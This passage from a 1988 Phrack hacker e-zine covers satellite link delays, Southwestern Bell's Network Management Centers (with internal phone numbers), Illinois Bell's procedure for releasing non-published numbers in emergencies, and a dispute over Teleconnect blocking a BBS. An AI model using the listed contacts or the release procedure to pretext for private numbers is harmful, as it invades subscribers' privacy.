The approximate quarter second one‑way propagation delay in satellite communications affects both voice telephone and data communications. Users of voice communications via satellite links face two objectionable characteristics; delayed speech and return echoes. Echo suppressors are installed to reduce the return echoes to an acceptable level. Data communications operations face more serious problems caused by propagation delay. Line protocol and error detection/correction schemes are slowed down dramatically by the quarter second of delay. User response time requirements can be difficult to meet because of these cumulative effects.

Satellite delay compensation units are available to ensure a connection and afford better operation for the terrestrial communications terminal that were never designed to deal with the propagation delay of communications satellites. One delay compensation unit is required at each final destination. The units reformat the data into larger effective transmission blocks so that retransmision requests are sent back less frequently. This reduces the number of line turnarounds, each of which requires about a quarter second to go from or return to the destination terminal or computer. One error detection and correction method used, called GO‑BACK‑N, requires that all blocks of data held in the transmitting buffer, back to the one with the error in it, must be retransmitted. A more efficient method is to retransmit only the block of data with the error, but this requires more logic in the equipment at each end.

Link to Earth Stations:

Most users cannot afford a satellite earth station, so a land line is needed for a connection to the nearest earth station (Which they tell me is 65,000 bps for a leased line). Because of the great distance the signal must travel in space, the relatively short distance between the two users on earth becomes insignificant and actually does not affect the operating cost. It is generally not economical. This is particularly true of high‑capacity or broadband applications. Even though operating costs are insensitive to distance, satellite companies may still charge more for longer distances based on terrestrial line competition.

Nonterrestrial Problems:

The nonterrestrial portion of satellite communications bypasses the problems encountered with broken phone lines, etc., but it has its own unique set of problems. Since satellite communications employ high‑frequency microwave radio transmission, careful planning is required to avoid interference between the satellite and other microwave systems. Eclipses of the sun, and even the moon, can cause trouble because they cut off the source of energy for the satellite's solar batteries. Backup batteries are used to resolve most of these difficulties, but the problem that is the most severe is when the sun gets directly behind the satellite and becomes a source of unacceptable noise. This occurs 10 times a year for about 10 min each time. In order to obtain uninterrupted service, an earth station must have a second dish antenna a short distance away or the single dish antenna must have access to another satellite.

Accessing the Satellite:

There are three methods by which multiple users (earth stations) can access the satellite. The first is frequency‑division multiple access (FDMA), whereby the total bandwidth is divided into separate frequency channels assigned to the users. Each user has a channel, which could remain idle if that user had no traffic. Time‑division multiple access (TDMA) provides each user with a particular time slot or multiple time slots. Here the channels are shared, but some time slots could be idle if a user has no traffic to offer. With code‑division multiple access (CDMA) each user can utilize the full bandwidth at any time by employing a unique code to identify the user's traffic. There are, of course, trade‑offs among the three methods; they involve error rate, block size, throughput, interference, and cost.

Advantages:

o Satellite lines are exceptionally well suited for broadband applications such as voice, television, and picture‑phone, and the quality of transmission is high.

o Satellite lines are generally less expensive for all voice and data types of transmission, whether it be dial‑up or a leased line that is not short. This is particularly true of overseas transmissions, and there is no underwater cable to create maintenance problems.

Disadvantages:

o The propagation delay of about a quarter second way requires the participants of a voice conversation so slightly delay their responses to make sure no more conversation is still on the way. The propagation delay has more of a severe effect on the transmission of data, and the effect becomes more pronounced with high speeds, half duplex operation, smaller blocks of data, and polling. Satellite delay units, front end processors, multiplexers, and other devices have been designed to get around these problems, but there is no solution to the half second lost in total response time for interactive applications.

o Some of the modems currently in use today have not been designed to handle the long delay of the initial connection via satellite, and the result can be a lost connection. This can be frustrating when the common carrier elects to use satellite lines for regular dial‑up calls up to say, 55 percent of all calls out of a particular city during the busy traffic periods.

Closing:

Satellite communications is a very interesting topic to study. Perhaps even the present/and future satellite and Ham radio "Hackers" will one day be running a Bulletin Board off of a WESTSTAR satellite ‑‑ Who's to say there isn't one now? (Devious Snicker)

Network Management Center

==Phrack Inc.==

Volume Two, Issue 21, File 6 of 11

<><><><><><><><><><><><><><><><><><><

<>

<> Organizations Supporting The Telecommunications Network Operations <>

<>

<> NETWORK MANAGEMENT CENTER <>

<> ___________________________

<> |

<> | A description of the Network Management Center/NMC | <> <> | and its role in providing the best possible service | <> <> | to the customers of the telecommunications network. | <>

<> |___________________________

<>

<> Brought to you by <>

<> Knight Lightning & Taran King <>

<>

<> August 9, 1988 <>

<>

<><><><><><><><><><><><><><><><><><><

=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑

Introduction To Network Management ‑ Southwestern Bell Telephone Company

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Modern Telecommunications Networks, relying on direct customer input and common and stored program controlled switching, are generally very reliable and have provided the means to supply low cost telecommunication service to all who desire it. Because these networks are designed on the probability that all customers do not require service simultaneously, they are engineered and equipped to provide acceptable levels of service during normal traffic load periods. When customer demands or equipment malfunctions cause a deviation from the engineered requirements or heavier than normal calling occurs, modern networks can become congested and network throughput can be affected.

Network Management provides a means to improve the performance of the network during these contingencies.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Purpose And Objectives

~~~~~~~~~~~~

The Network Management Centers purpose is to provide the constant surveillance and control activities necessary to maintain the network at its optimum level of performance. This includes the Bell Operating Company (BOC) Intra‑Lata Networks and Inter‑Exchange Facilities and Circuits.

NMC's objective is to meet customer and market needs and expectations, and at the same time, maximize revenues derived from the provision of network service.

While the NMC cannot guarantee a certain level of service to the customer, it can ensure the most effective use of existing network capacity in all situations. This will result in:

‑ More completed calls

‑ Higher return on network capital investment

‑ Better customer service

‑ Protection of essential services such as 911, during abnormal network situations

‑ Ensuring equal access

‑ Assisting in national security and emergency preparedness

The NMC has the capability to alter or change the switching network on a near real‑time basis. This is accomplished thru Network Control Actions in the switching machines. Control messages from the NMC are acted upon by the switching machines to either expand capacity by utilizing idle equipment and trunks or to restrict the network by denying access to traffic that has a poor chance of completion, thereby freeing equipment and trunks for traffic that has a good chance of completion.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Principles And Responsibilities Of Operations

~~~~~~~~~~~~~~~~~~~~~~~

In accomplishing the purpose and objective of the NMC, decision on network control actions are guided by standard principle applicable to switching technology or network architecture. All network management control actions are generally based upon at least one of the standard principles.

Inhibit Switching Congestion

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Large numbers of ineffective attempts in a switching machine due to traffic overload or equipment malfunctions can exceed the engineered capacity of the system. If not controlled, this congestion can spread to other connected switching systems. Network management controls are available that remove ineffective attempts to a congested machine, inhibiting switching congestion and preventing its spread to adjacent switching systems.

Use All Available Trunks

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The switching network is sized and equipped to accommodate the average business day calling requirements. Focused overloads (storms, holidays, floods, and civil disturbances) can often result in greatly increased calling patterns for which the network is not designed. This aberration can also be caused by facility failures and switching system outages. In these cases some trunk groups are greatly overloaded while others may be virtually idle. Network management reroutes can be activated in many of these cases to use temporary idle capacity in the network, thereby completing calls that would otherwise be blocked.

Keep All Trunks Filled With Messages

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

A message is a completed call. Since the network is normally trunk limited, it is important to optimize the ratio of messages (revenue) to non‑messages (non revenue producing) on any trunk group. When unusual or abnormal conditions occur in the network that cause increased short holding time calls (non‑message such as busy tone, reorder tone, recorded announcement, and high‑and‑dry ‑ dead air), the number of carried messages decreases because non‑message traffic is occupying a larger percentage of system capacity. Network management controls are designed to reduce non‑message traffic and allow more calls to complete. This results in higher customer satisfaction and increased revenue for the industry.

Give Priority To Single‑Link Connections

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

In networks designed to automatically alternate route calls, the most efficient use of available trunking occurs when traffic loads are at (or below) normal engineered values. When the engineered traffic load is exceeded, more calls alternate route and therefore are required to use more than one trunk in order to complete a call. During overload situations, the use of more than one trunk to complete a call occurs more often and the possibility of a multilink call blocking other call attempts is greatly increased. Thus, in some cases, it becomes necessary to use network management controls to limit alternate routing in order to give first routed traffic a reasonable chance to complete more calls on the network than would otherwise be completed.

The responsibility of the Network Management Center is far‑reaching, affecting many work groups and organizations both in Southwestern Bell Telephone Company, other telephone companies, and the customers.

The NMC provides:

‑ Real‑time surveillance and control of the switching network ‑ Identifying abnormal network situations

‑ A centralized point for information to higher management, IC's, Independent Companies, and other BOC's.

‑ A focal point for national security and emergency preparedness concerns

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

The System ‑‑ A Picture

~~~~~~~~~~~~

The Network Management System consists of three major components: The switching network itself, the data gathering support system, and the surveillance and control system (NMC).

The NMC is driven by customer actions in the switching network which are recorded and displayed via the EADAS/NM (Engineering Administration Data Acquisition System for Network Management). Network management control actions are directed from the CRT to the switching network via the same system.

Diagram;

Switching Data Gathering NMC Surveillance Network System and Control

____________ _________

/ \ /

____________

| |__________________

| Access | | E | /| Display Board | | Tandem | ___ | A | / |_______________|

| | | |_____D | /

| End Office |________| E | Data | A |/

| | | A |__________| S |\

| Equal | | D | Network | / | \

| Access | | A | Controls | N | \

| End Office | | S |__________| M | \

|____________| |___|

|

_|_ Cathode Ray Tube |

/ \

\___/

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Introducing: The Southwestern Bell Telephone Company Network Management Centers ___________________

| |

___| Southwestern Bell |______________________________________

| | Corporations | | |

| |___________________| ______|_

| |

| | SW Bell || SW Bell || SW Bell |

| |Mobile Systems|| Telecom || Publications |

| |________

__|________________

| |

| Southwestern Bell |

| Telephone |

|___________________|

|

|‑‑‑‑> Little Rock NMC Arkansas (Non EADAS/NM) (501)373‑5126 |‑‑‑‑> St. Louis NMC Missouri & Kansas (314)658‑6044 |‑‑‑‑> Oklahoma City NMC Oklahoma (405)278‑5511 * |‑‑‑‑> Dallas NMC North Texas (214)464‑2164 |‑‑‑‑> Houston NMC South Texas (713)850‑5662 *

* ‑ After hours, this number goes to a beeper,

at the tone, dial in your telephone number.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Summary

~~~~

Network Management is the term used to describe a variety of activities associated with improving network traffic flow and customer service when abnormal conditions (unusual traffic patterns or equipment failures) may have resulted in a congested inefficient network. These activities include the application of network controls when and where necessary and planning the means by which the impact of network overloads can be minimized.

Network Management is based upon the use of near real‑time trunk group and switching system data and the ability to implement appropriate network controls thru the use of EADAS/NM.

Network Management is concerned with completing as many calls as possible within the Intra‑Lata network and providing equal treatment for the traffic flow to and from all inter‑exchange carriers.

"The Future Is Forever"

Non-Published Numbers

==Phrack Inc.==

Volume Two, Issue 21, File 7 of 11

()()()()()()()()()()()()()()()(

()

() Non‑Published Numbers ()

() ~~~~~~~~~~~

() An Observation Of Illinois Bell ()

()

() by Patrick Townson ()

() of The Portal System (TM) ()

()

() Special Thanks to Hatchet Molly ()

()

()()()()()()()()()()()()()()()(

All examples in this message pertain to Illinois Bell Telephone Company, which covers the Chicago metropolitan area, and quite a bit of the rest of Illinois.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

There are three types of phone numbers which do not appear in the printed and publicly available directory;

(1) Too new to list

(2) Non‑listed

(3) Non‑published

The third category of numbers not in the phone book or available from the Directory Assistance Bureau are non‑published numbers. Non‑published numbers are NOT available at the directory Assistance level. Inquiries about same which are input into a DA (Directory Assistance) terminal simply come up with a message that "at the customer's request, the number is not listed in our records; the number is non‑published."

Well, who does keep non‑pub records then? The Business Office has no handy way to retrieve them, since they depend on an actual phone number when they pull up a record to discuss an account. Once a service order is processed, the number and associated name are no longer available to the average worker in the central office.

There was for several years a small group known as the "NonPub Number Bureau" which at the time was located in Hinsdale, Illinois. Needless to say, the phone number to the NonPub Number Bureau was itself non‑published, and was only available to specified employees at Illinois Bell who were deemed to have a "need to know clearance." Now with all the records being highly computerized, the keepers of the Non‑Pub phone numbers are themselves scattered around from one phone office to another.

When there is some specific need for an employee at the phone company to acquire the non‑published number of a subscriber, then certain security precautions kick into place. Only a tiny percentage of telephone company employees are deemed to have a "need to know clearance" in the first place; among these would be the GCO's (Group Chief Operators), certain management people in the central offices, certain people in the Treasury/Accounting office, and of course, security representatives both from Illinois Bell and the various long distance carriers, such as AT&T, US. Sprint, and MCI.

Let us have a hypothetical example for our correspondent; Your mother has taken seriously ill, and is on her deathbed. Your brother is unable to reach you to notify you of this because you have a non‑pub number. When his request for the number has been turned down by Directory Assistance, simply because they do not have it, he asks to speak with a supervisor, and he explains the problem. He provides his own name and telephone number, and the supervisor states he will be called back at a later time. The supervisor does not question if in fact an emergency exists, which is the only valid reason for breaking security. The supervisor may, if they are doing their job correctly, ask the inquirer point blank, "Are you stating there is an emergency situation?"

Please bear in mind that the law in Illinois and in many other states says that if a person claims that an emergency exists in order to influence the use (or discontinuance of use) of the telephone when in fact there is no emergency is guilty of a misdemeanor crime. You say yes this is an emergency and I need to contact my brother/sister/etc right away. The supervisor will then talk to his/her supervisor, who is generally of the rank of Chief Operator for that particular facility.

The Chief Operator will call the NonPub people, will identify herself, and *leave her own call back number*. The NonPub people will call back to verify the origin of the call, and only then will there be information given out regards your brother's telephone number. It helps if you know the *exact* way the name appears in the records, and the *exact* address; if there is more than one of that name with non‑pub service, they may tell you they are unable to figure out who it is you want.

The NonPub person will then call the subscriber with the non‑published number and explain to them what has occurred, "So and so has contacted one of our operators and asked for assistance in reaching you. The party states that it is a family emergency which requires your immediate attention. Would it be alright if we give him/her your number, or would you prefer to call them back yourself?"

Based on the answer given, the number is either relayed back to the Chief Operator, or a message is relayed back saying the non‑pub customer has been notified. If the customer says it is okay to pass his number, then the Chief Operator will call you back, ask who YOU are, rather than saying WHO she wants, and satisfied with your identification will give you the number you are seeking or will advise you that your brother has been given the message by someone from our office, and has said he will contact you.

Before the NonPub people will even talk to you, your 'call back number' has to be on their list of approved numbers for that purpose. A clerk in the Business office cannot imitate a Chief Operator for example, simply because NonPub would say that the number you are asking us to call back to is not on our list. "Tell your supervisor what it is you are seeking and have them call us..." Other emergency type requests for non‑pub numbers would be a big fire at some business place in the middle of the night, and the owners of the company must be notified at their home; or a child is found wandering by the police and the child is too young to know his parent's (non‑pub) number.

They will also handle non‑emergency requests, but only if they are of some importance and not frivolous in nature. You have just come to our city to visit and are seeking a long lost friend who has a non‑pub number; you are compiling the invitations to your high school class fiftieth re‑union and find a class member is non‑pub. Within certain reasonable limits, they will pass along your request to the desired party and let them make the choice of whether to return the call or not. But always, you leave your phone number with them, and in due time someone will call you back to report what has been said or done.

You would be surprised ‑‑ or maybe you wouldn't ‑‑ at the numerous scams and stories people tell the phone company to get the non‑pub numbers of someone else. Fortunately, Bell takes a great deal of pride in their efforts to protect the privacy of their subscribers.

‑PT

Blocking Of Long Distance Calls

==Phrack Inc.==

Volume Two, Issue 21, File 8 of 11

\`\`\`\`\`\`\`\`\`\`\`\`\`\`\`\

\`\

\`\ BLOCKING OF LONG‑DISTANCE CALLS \`\

\`\ by Jim Schmickley \`\

\`\

\`\ Hawkeye PC, Cedar Rapids, Iowa \`\

\`\

\`\ Special Thanks To Hatchet Molly \`\

\`\

\`\`\`\`\`\`\`\`\`\`\`\`\`\`\`\

SUMMARY ‑‑ This file describes the "blocking" by one long‑distance telephone company of access through their system to certain telephone numbers, particularly BBS numbers. The blocking is applied in a very arbitrary manner, and the company arrogantly asserts that BBS SYSOPS and anyone who uses a computer modem are "hackers."

The company doesn't really want to discuss the situation, but it appears the following scenario occurred. The proverbial "person or persons unknown" identified one or more "valid" long‑distance account numbers, and subsequently used those numbers on one or more occasions to fraudulently call a legitimate computer bulletin board system (BBS). When the long‑distance company discovered the fraudulent charges, they "blocked" the line without bothering to investigate or contacting the BBS System Operator to obtain his assistance. In fact, the company did not even determine the sysop's name.

The long‑distance carrier would like to pretend that the incident which triggered the actions described in this article was an isolated situation, not related to anything else in the world. However, there are major principles of free, uninhibited communications and individual rights deeply interwoven into the issue. And, there is still the lingering question, "If one long‑distance company is interfering with their customers' communications on little more than a whim, are other long‑distant companies also interfering with the American public's right of free 'electronic speech'?"

CALL TO ACTION ‑‑ Your inputs and protests are needed now to counter the long‑distance company's claims that "no one was hurt by their blocking actions because nobody complained." Obviously nobody complained for a long time because the line blocking was carried out in such a manner that no one realized, until April 1988, what was being done.

Please read through the rest of this article and judge for yourself. Then, please write to the organizations listed at the end of the article; insist that your right to telephone whatever number you choose should not be impaired by the arbitrary decision of some telephone company bureaucrat who really doesn't care about the rights of his customers. Protest in the strongest terms. And, remember, the rights you save WILL BE YOUR OWN!

SETTING THE SCENE ‑‑ Teleconnect is a long‑distance carrier and telephone direct marketing company headquartered in Cedar Rapids, Iowa. The company is about eight years old, and has a long‑distance business base of approximately 200,000 customers. Teleconnect has just completed its first public stock offering, and is presently (August 1988) involved in a merger which will make it the nation's fourth‑largest long‑distance carrier. It is a very rapidly growing company, having achieved its spectacular growth by offering long distance service at rates advertised as being 15% to 30% below AT&T's rates.

When Teleconnect started out in the telephone interconnection business, few, if any, exchanges were set up for "equal access," so the company set up a network of local access numbers (essentially just unlisted local PABXs Private Automatic Branch eXchanges) and assigned a six‑digit account number to each customer. Later, a seventh "security" digit was added to all account numbers. Teleconnect now offers direct "equal access" dialing on most exchanges, but the older access number/account code system is still in place for those exchanges which do not offer "equal access." That system is still very useful for customers who place calls from their offices or other locations away from home.

"BLOCKING" DISCOVERED ‑‑ In early April 1988, a friend mentioned that Teleconnect was "blocking" certain telephone lines where they detected computer tone. In particular, he had been unable to call Curt Kyhl's Stock Exchange BBS in Waterloo, Iowa. This sounded like something I should certainly look into, so I tried to call Curt's BBS.

CONTACT WITH TELECONNECT ‑‑ Teleconnect would not allow my call to go through. Instead, I got a recorded voice message stating that the call was a local call from my location. A second attempt got the same recorded message. At least, they were consistent.

I called my Teleconnect service representative and asked just what the problem was. After I explained what happened, she suggested that it must be a local call. I explained that I really didn't think a 70 mile call from Cedar Rapids to Waterloo was a local call. She checked on the situation and informed me that the line was being "blocked." I asked why, and she "supposed it was at the customer's request." After being advised that statement made no sense, she admitted she really didn't know why. So, on to her supervisor.

The first level supervisor verified the line was being "blocked by Teleconnect security," but she couldn't or wouldn't say why. Then, she challenged, "Why do you want to call that number?" That was the wrong question to ask this unhappy customer, and the lady quickly discovered that bit of information was none of her business. On to her supervisor...

The second level supervisor refused to reveal any information of value to a mere customer, but she did suggest that any line Teleconnect was blocking could still be reached through AT&T or Northwestern Bell by dialing 10288‑1. When questioned why Teleconnect, which for years had sold its long‑distance service on the basis of a cost‑saving over AT&T rates, was now suggesting that customers use AT&T, the lady had no answer.

I was then informed that, if I needed more information, I should contact Dan Rogers, Teleconnect's Vice President for Customer Service. That sounded good; "Please connect me." Then, "I'm sorry, but Mr. Rogers is out of town, and won't be back until next week." "Next week?" "But he does call in regularly. Maybe he could call you back before that." Mr. Rogers did call me back, later that day, from Washington, D.C. where he and some Teleconnect "security people" were attending a conference on telephone security.

TELECONNECT RESPONDS, A LITTLE ‑‑ Dan Rogers prefaced his conversation with, "I'm just the mouthpiece; I don't understand all the technical details. Our security people are blocking that number because we've had some problems with it in the past." I protested that the allegation of "problems" didn't make sense because the number was for a computer bulletin board system operated by a reputable businessman, Curt Kyhl.

Mr. Rogers said that I had just given Teleconnect new information; they had not been able to determine whose number they were blocking. "Our people are good, but they're not that good. Northwestern Bell won't release subscriber information to us." And, when he got back to his office the following Monday, he would have the security people check to see if the block could be removed.

The following Monday, another woman from Teleconnect called to inform me that they had checked the line, and they were removing the block from it. She added the comment that this was the first time in four years that anyone had requested that a line be unblocked. I suggested that it probably wouldn't be the last time.

In a later telephone conversation, Dan Rogers verified that the block had been removed from Curt Kyhl's line, but warned that the line would be blocked again "if there were any more problems with it." A brief, non‑conclusive discussion of Teleconnect's right to take such action then ensued. I added that the fact that Teleconnect "security" had been unable to determine the identity of the SYSOP of the blocked board just didn't make sense; that it didn't sound as if the "security people" were very competent. Mr. Rogers then admitted that every time the security people tried to call the number, they got a busy signal (and, although Mr. Rogers didn't admit it, they just "gave up," and arbitrarily blocked the line). Oh, yes, the lying voice message, "This is a local call...," was not intended to deceive anyone according to Dan Rogers. It was just that Teleconnect could only put so many messages on their equipment, and that was the one they selected for blocked lines.

BEGINNING THE PAPER TRAIL ‑‑ Obviously, Teleconnect was not going to pay much attention to telephone calls from mere customers. On April 22, Ben Blackstock, practicing attorney and veteran sysop, wrote to Mr. Rogers urging that Teleconnect permit their customers to call whatever numbers they desired. Ben questioned Teleconnect's authority to block calls, and suggested that such action had serious overlays of "big brother." He also noted that "you cannot punish the innocent to get at someone who is apparently causing Teleconnect difficulty."

Casey D. Mahon, Senior Vice President and General Counsel of Teleconnect, replied to Ben Blackstock's letter on April 28th. This response was the start of Teleconnect's seemingly endless stream of vague, general allegations regarding "hackers" and "computer billboards." Teleconnect insisted they did have authority to block access to telephone lines, and cited 18 USC 2511(2)(a)(i) as an example of the authority. The Teleconnect position was summed up in the letter:

"Finally, please be advised the company is willing to 'unblock' the line in order to ascertain whether or not illegal hacking has ceased. In the event, however, that theft of Teleconnect long distance services through use of the bulletin board resumes, we will certainly block access through the Teleconnect network again and use our authority under federal law to ascertain the identity of the hacker or hackers."

THE GAUNTLET IS PICKED UP ‑‑ Mr. Blackstock checked the cited section of the U.S. Code, and discovered that it related only to "interception" of communications, but had nothing to do with "blocking." He advised me of his opinion and also wrote back to Casey Mahon challenging her interpretation of that section of federal law.

In his letter, Ben noted that, "Either Teleconnect is providing a communication service that is not discriminatory, or it is not." He added that he would "become upset, to say the least" if he discovered that Teleconnect was blocking access to his BBS. Mr. Blackstock concluded by offering to cooperate with Teleconnect in seeking a declaratory judgment regarding their "right" to block a telephone number based upon the actions of some third party. To date, Teleconnect has not responded to that offer.

On May 13th, I sent my own reply to Casey Mahon, and answered the issues of her letter point by point. I noted that even I, not an attorney, knew the difference between "interception" and "blocking", and if Teleconnect didn't, they could check with any football fan. My letter concluded:

"Since Teleconnect's 'blocking' policies are ill‑conceived, thoughtlessly arbitrary, anti‑consumer, and of questionable legality, they need to be corrected immediately. Please advise me how Teleconnect is revising these policies to ensure that I and all other legitimate subscribers will have uninhibited access to any and all long‑distance numbers we choose to call."

Casey Mahon replied on June 3rd. Not unexpectedly, she brushed aside all my arguments. She also presented the first of the sweeping generalizations, with total avoidance of specifics, which we have since come to recognize as a Teleconnect trademark. One paragraph neatly sums Casey Mahon's letter:

"While I appreciate the time and thought that obviously went into your letter, I do not agree with your conclusion that Teleconnect's efforts to prevent theft of its services are in any way inappropriate. The inter‑exchange industry has been plagued, throughout its history, by individuals who devote substantial ingenuity to the theft of long distance services. It is not unheard of for an interexchange company to lose as much as $500,000 a month to theft. As you can imagine, such losses, over a period of time, could drive a company out of business."

ESCALATION ‑‑ By this time it was very obvious that Teleconnect was going to remain recalcitrant until some third party, preferably a regulatory agency, convinced them of the error of their ways. Accordingly, I assembled the file and added a letter of complaint addressed to the Iowa Utilities Board. The complaint simply asked that Teleconnect be directed to institute appropriate safeguards to ensure that "innocent third parties" would no longer be adversely affected by Teleconnect's arbitrary "blocking" policies.

My letter of complaint was dated July 7, 1988 and the Iowa Utilities Board replied on July 13, 1988. The The reply stated that Teleconnect was required to respond to my complaint by August 2, 1988, and the Board would then propose a resolution. If the proposed resolution was not satisfactory, I could request that the file be reopened and the complaint be reconsidered. If the results of that action were not satisfactory, a formal hearing could be requested.

After filing the complaint, I also sent a copy of the file to Congressman Tom Tauke. Mr. Tauke represents the Second Congressional District of Iowa, which includes Cedar Rapids, and is also a member of the House Telecommunications Subcommittee. I have subsequently had a personal conversation with Mr. Tauke as well as additional correspondence on the subject. He seems to have a deep and genuine interest in the issue, but at my request, is simply an interested observer at this time. It is our hope that the Iowa Utilities Board will propose an acceptable resolution without additional help.

AN UNRESPONSIVE RESPONSE ‑‑ Teleconnect's "response" to the Iowa Utilities Board was filed July 29, 1988. As anticipated, it was a mass of vague generalities and unsubstantiated allegations. However, it offered one item of new, and shocking, information; Curt Kyhl's BBS had been blocked for ten months, from June 6, 1987 to mid‑April 1988. (At this point it should be noted that Teleconnect's customers had no idea that the company was blocking some of our calls. We just assumed that calls weren't going through because of Teleconnect's technical problems).

Teleconnect avoided putting any specific, or even relevant, information in their letter. However, they did offer to whisper in the staff's ear; "Teleconnect would be willing to share detailed information regarding this specific case, and hacking in general, with the Board's staff, as it has in the past with various federal and local law enforcement agencies, including the United States Secret Service. Teleconnect respectfully requests, however, that the board agree to keep such information confidential, as to do otherwise would involve public disclosure of ongoing investigations of criminal conduct and the methods by which interexchange carriers, including Teleconnect, detect such theft."

There is no indication of whether anyone felt that such a "confidential" meeting would violate Iowa's Open Meetings Law. Nobody apparently questioned why, during a ten‑months long "ongoing investigation," Teleconnect seemed unable to determine the name of the individual whose line they were blocking. Of course, whatever they did was justified because in their own words, "Teleconnect had suffered substantial dollar losses as a result of the theft of long distance services by means of computer 'hacking' utilizing the computer billboard which is available at that number."

Teleconnect's most vile allegation was, "Many times, the hacker will enter the stolen authorization code on computer billboards, allowing others to steal long distance services by utilizing the code." But no harm was done by the blocking of the BBS number because, "During the ten month period the number was blocked, Teleconnect received no complaints from anyone claiming to be the party to whom the number was assigned." The fact that Curt Kyhl had no way of knowing his line was being blocked might have had something to do with the fact that he didn't complain.

It was also pointed out that I really had no right to complain since, "First, and foremost, Mr. Schmickley is not the subscriber to the number." That is true, I'm just a long‑time Teleconnect customer who was refused service because of an alleged act performed by an unknown third party.

Then Teleconnect dumped on the Utilities Board staff a copy of a seven page article from Business Week Magazine, entitled "Is Your Computer Secure?" This article was totally unrelated to the theft of long‑distance service, except for an excerpt from a sidebar story about a West German hackers' club. The story reported that, "In 1984, Chaos uncovered a security hole in the videotex system that the German telephone authority, the Deutsche Bundespost, was building. When the agency ignored club warnings that messages in a customer's private electronic mailbox weren't secure, Chaos members set out to prove the point. They logged on to computers at Hamburger Sparkasse, a savings bank, and programmed them to make thousands of videotex calls to Chaos headquarters on one weekend. After only two days of this, the bank owed the Bundespost $75,000 in telephone charges."

RESOLUTION WITH A RUBBER STAMP ‑‑ The staff of the Iowa Utilities Board replied to my complaint by letter on August 19, 1988. They apparently accepted the vague innuendo submitted by Teleconnect without any verification; "Considering the illegal actions reportedly to be taking place on number (319) 236‑0834, it appears the blocking was reasonable. However, we believe the Board should be notified shortly after the blocking and permission should be obtained to continue the blocking for any period of time."

However, it was also noted that, "Iowa Code 476.20 (1) (1987) states, 'A utility shall not, except in cases of emergency, discontinue, reduce, or impair service to a community or a part of a community, except for nonpayment of account or violation of rules and regulations, unless and until permission to do so is obtained from the Board." The letter further clarified, "Although the Iowa Code is subject to interpretation, it appears to staff that 'emergency' refers to a relatively short time..."

CONSIDER THE EVIDENCE ‑‑ Since it appeared obvious that the Utilities Board staff had not questioned or investigated a single one of Teleconnect's allegations, the staff's response was absolutely astounding. Accordingly, I filed a request for reconsideration on August 22nd.

Three points were raised in the request for reconsideration;

(1) The staff's evaluation should have been focused on the denial of service to me and countless others of Teleconnect's 200,000 customers, and not just on the blocking of incoming calls to one BBS.

(2) The staff accepted all of Teleconnect's allegations as fact, although not one bit of hard evidence was presented in support of those allegations.

(3) In the words of the staff's own citation, it appeared that Teleconnect had violated Iowa Code 476.20 (1) (1987) continuously over a ten months' period, perhaps as long as four years.

Since Teleconnect had dumped a seven page irrelevant magazine article on the staff, it seemed only fair to now offer a two page completely relevant story to them. This was "On Your Computer ‑ Bulletin Boards," from the June 1988 issue of "Changing Times." This excellent article cited nine BBSs as "good places to get started." Among the nine listed BBSs was Curt Kyhl's "Stock Exchange, Waterloo, Iowa (319‑236‑0834)." Even the geniuses at Teleconnect ought to be able to recognize that this BBS, recommended by a national magazine, is the very same one they blocked for ten months.

MEANWHILE, BACK AT THE RANCH ‑‑ You are now up‑to‑date on the entire story. Now, we are in the process of spreading the word so that all interested people can contact the Iowa authorities so they will get the message that this case is much bigger than the blocking of one BBS. YOU can help.

Read the notice appended to this file and ACT. If you are a Teleconnect customer, it is very important that you write the agencies listed on the notice. If you are not a Teleconnect customer, but are interested in preserving your rights to uninhibited communications, you can help the cause by writing to those agencies, also. Please, people, write now! Before it is too late!

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

T E L E C O N N E C T C U S T O M E R S

= = = = = = = = = = = = =

If you are user of Teleconnect's long distance telephone service, you need to be aware of their "blocking" policy:

Teleconnect has been "lashing out" against the callers of bulletin boards and other "computer numbers" by blocking access of legitimate subscribers to certain phone numbers to which calls have been made with fraudulent Teleconnect charge numbers. Curt Kyhl's Stock Exchange Bulletin Board in Waterloo has been "blocked" in such a manner. Teleconnect representatives have indicated that other "computer numbers" have been the objects of similar action in the past, and that they (Teleconnect) have a "right" to continue such action in the future.

Aside from the trampling of individual rights guaranteed by the Bill of Rights of the U.S. Constitution, this arbitrary action serves only to "punish the innocent" Teleconnect customers and bulletin board operators, while doing absolutely nothing to identify, punish, or obtain payment from the guilty. The capping irony is that Teleconnect, which advertises as offering significant savings over AT&T long‑distance rates, now suggests to complaining customers that the blocked number can still be dialed through AT&T.

Please write to Teleconnect. Explain how long you have been a customer, that your modem generates a significant amount of the revenue they collect from you, and that you strongly object to their arbitrarily deciding what numbers you may or may not call. Challenge their "right" to institute a "blocking" policy and insist that the policy be changed. Send your protests to:

Teleconnect Company

Mr. Dan Rogers, Vice President for Customer Service 500 Second Avenue, S.E. Cedar Rapids, Iowa 52401

